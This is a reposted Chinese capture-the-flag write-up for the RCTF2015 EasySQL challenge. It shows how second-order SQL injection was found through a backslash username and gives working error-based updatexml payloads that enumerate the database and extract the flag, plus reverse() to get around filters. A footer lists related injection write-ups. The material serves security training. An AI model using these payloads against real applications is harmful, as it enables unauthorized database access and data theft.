首页 > 数据库 >[RCTF2015]EasySQL

[RCTF2015]EasySQL

时间:2024-05-14 16:23:39浏览次数:28  
标签:name RCTF2015 0x7e EasySQL flag num select concat

[RCTF2015]EasySQL

打开环境,有一个注册一个登录按钮

NfS-HYrSo8PZX4BYASwbFWZiQuciUSwrrZafu8zLlpY

这里注册的时候有个坑,邮箱那栏你不能输入@xx.com,否则就会报错不允许的字符

fuzz测试一下发现过滤了不少字符

7W85yLjqj0VUwIgc7L2At6KUIPYqaHo6DVt4s7Rdu1M

注册完成后登录

QXwjprw41_ru7dsYUOR9wxEf_YRy1I0Spd7HrQjqM6Q

zJCLJnJVkhzkTVI1Dn5zl5Aj3pNA46KKQqUOs1wfXIw

qwTQkEcvvrtdmc-3eXDpNDuE1tt6_efmH9zx5qejiFM

首页的文字没有什么有用的信息,进入帐号发现可以修改密码

_d8w7eyXiOaO4R1nrJ_QTEdO_KkETnWMJl2DxAcxEeA

GVpBsKVffDw7ymBLXWCjLkWGqd6xi15oWi_KLCUO7vo

如果是正常的账号,此时修改密码不会有任何回显

经过前面测试发现反斜杠(\)没被过滤,那么就注册个反斜杠的号(1'\),在修改密码的时候,我们可以看到有明显的错误回显

BukJj3OGWpIC31P2xxYbvLZo0g6THAhIbcSBAjmCyAk

说明这里是二次注入

由此,我们可以推测出,数据库的查询语句为

select * from 表名 where id="%s" and pwd="密码"

使用报错注入爆库,首先获取数据库信息

1"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#

将我们注入的值,已表单的形式提交给服务器,相当于注册了一个账号

在修改密码时就发现回显报错,获取库名为web_sqli

P6v9AKEz4GxSlJwYHkRdtP5Vfpcn9SIKgM15eduKM_c

获取表名,得到表名为article,flag,users

1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1)#

0w42lfD_--cO9UVjlNuB1g6lPVdVVEJyv5QgIdhZji0

获取表flag的字段名,字段名为~title,content,flag,name,pwd,ema

1"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')||(table_name='flag')),0x7e),1)#

FCz12wvEGD3Qg7pvyh73jTxTlXLyL52P-5eVsHB8bxI

获取flag的内容

1"||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#

umPop6kZh7EZz-6YvvTZ_DsgVmfRO8NNfki2i7T2g-M

得到的是个提示——~RCTF{Good job! But flag not her,

换一张表查数据,使用users表,爆破字段

1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

cEmA9iiVk08sHRTD3wnahqktB7tVKMsubkGisC_84Ts

接下来直接获取字段内容

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

fKPpAJLcggPLxyyuXs6iv2Dw-cdaf64Ik0rKSzqDCrg

得到部分flag{cf294940-c45d-4c8e-9063-63,因为right、left、mid等函数均被过滤,因此使用reverse函数

Jbwi8gCSwp3YlfQoPNLFsnktDPaCYuLyx3IA32XE_qY

}fe61b1336036-3609-e8c4-d54c-04,这里为了得到正序flag,使用Python代码进行倒序

letter_num = list(input('please input some characters:'))
list_num = []
def convert_order():
    for i in range(len(letter_num)):#根据列表的长度决定遍历的次数
        list_num.append(letter_num[len(letter_num) - i - 1])#把letter_num中的值倒序添加到新列表中
    print(''.join(list_num))#把''无间隔符添加到list_num中每个元素的中间,总体效果就是把列表转换为字符串
   
convert_order()

dViT84_aWl4YkyXQQLcx4HNvsY-ZSWhZM7Ot_bkSI20

拼接得到flag{cf294940-c45d-4c8e-9063-6306331b16ef}

标签:name,RCTF2015,0x7e,EasySQL,flag,num,select,concat
From: https://www.cnblogs.com/fishjumpriver/p/18191539

相关文章

  • CTF练习日记——[SUCTF 2019]EasySQL 1
    查询1试试试试堆叠注入1;showdatabases;#来查询数据库,以及1;showtables;#查询表再看看表里面的字段名1,showcolumnsfromFlag;#显示nonono,到这里之后我不太懂就参考了http://t.csdnimg.cn/MHwz1,利用1;setsql_mode=PIPES_AS_CONCAT;select1,得到flag:flag......
  • CTF练习日记——[极客大挑战 2019]EasySQL
    启动靶机后,首先能看到这样一个界面:这个题是和SQL注入相关,首先随意输入username和password试试看:提示用户名和密码错误,那么我们尝试输入用户名输入1',得到提示SQL语句出错,那么我们就可以从这里下手,直接在用户名那输入1'or'1'='1#注入成功,得到了我们需要的flag:flag{08f72......
  • BUUCTF-EasySQL(sql注入题目)
    1、万能用户名/密码一般的,库验证登录注册查询数据会用到以下的句型,如果用户与密码匹配正确则返回真值通过验证成功登录select*fromtable_namewhereusername='×××'andpassword='×××';2、在该题目中使用,select*fromtable_namewhereusername='1'or1=1#'and......
  • Web_BUUCTF_WriteUp | [极客大挑战 2019]EasySQL
    题目靶机界面URL:http://86ae5adf-d39e-47dd-b3da-1ae895847925.node4.buuoj.cn:81/分析先在交互界面随便输入用户名和密码试试,界面显示如下:此时的URL为http://86ae5adf-d39e-47dd-b3da-1ae895847925.node4.buuoj.cn:81/check.php?username=admin&password=123对多出的......
  • Buu web easysql and Havefun
    1.easysql:(sql注入)解题思路:1、手工sql注入判断注入类型。2、构造pyload输入1’判断注入类型页面报错,说明为字符型,在构造pyload时候,需要主要闭合'。pyload:1'or1=1#(#的意思是把后面的注释掉,在这里是注释掉后面',保证语句正常执行)用or是因为1=1为真,那么无论前面的条......
  • [SUCTF 2019]EasySQL 1
    原理||的不同功能,连接字符串和或堆叠注入解题过程进入靶场,按常规进行注入,发现过滤了很多关键字,跑一下fuzz试试堆叠注入payload:1;showtables;得出放flag的表,但flag字段被过滤了。看wp原代码查询语句是select$_POST['query']||0fromflag;但我们不知道源码....从尝试......
  • BUUOJ[极客大挑战 2019]EasySQL 1
    原理涉及sql注入的or万能登录解题过程看到题目名字,应该就是要用到sql注入了,进入网页,看到了要登陆,我一开始想到要爆破(呃呃呃)。要用sql去登录的话,就要想到or万能登录了payload:1'or1=1#账号密码都是字符型的注入,因此有时候需要尝试一下'和"接着就爆出flag了另外,我在url......
  • [SUCTF 2019]EasySQL
    [SUCTF2019]EasySQL题目来源:buuctf题目类型:web涉及考点:SQL注入、堆叠注入1.题目给了一个输入框,先随便传点东西进去传入数字回显如下:传入flag回显如下:传入字符无回显没什么其他线索了,还是爆破一下看看过滤了哪些字符:返回长度为507的字符都是被过滤了的,包括uni......
  • [极客大挑战 2019]EasySQL
    [极客大挑战2019]EasySQL题目来源:buuctf题目类型:web涉及考点:SQL注入先看题目,给了两个输入框:随便输入几个数进去,例如username=123,password=123:页面回显说是错误的用户密码,但注意到url中采用的是get传参:下一步寻找注入点,我们可以假设数据库中的查询语句为:select......
  • BUUCTF:[RCTF2015]EasySQL
    BUUCTF:[RCTF2015]EasyS先注册一个用户在注册的时候,fuzz测试发现在username和email中过滤了以下字符:@orandspace(空格)substrmidleftrighthandle没有源码慢慢测试.......登录,发现还有个改密码在注册时用户名加些测试字符进去,'mochu7"\然后登录,在修改密码的时候,发现报错了......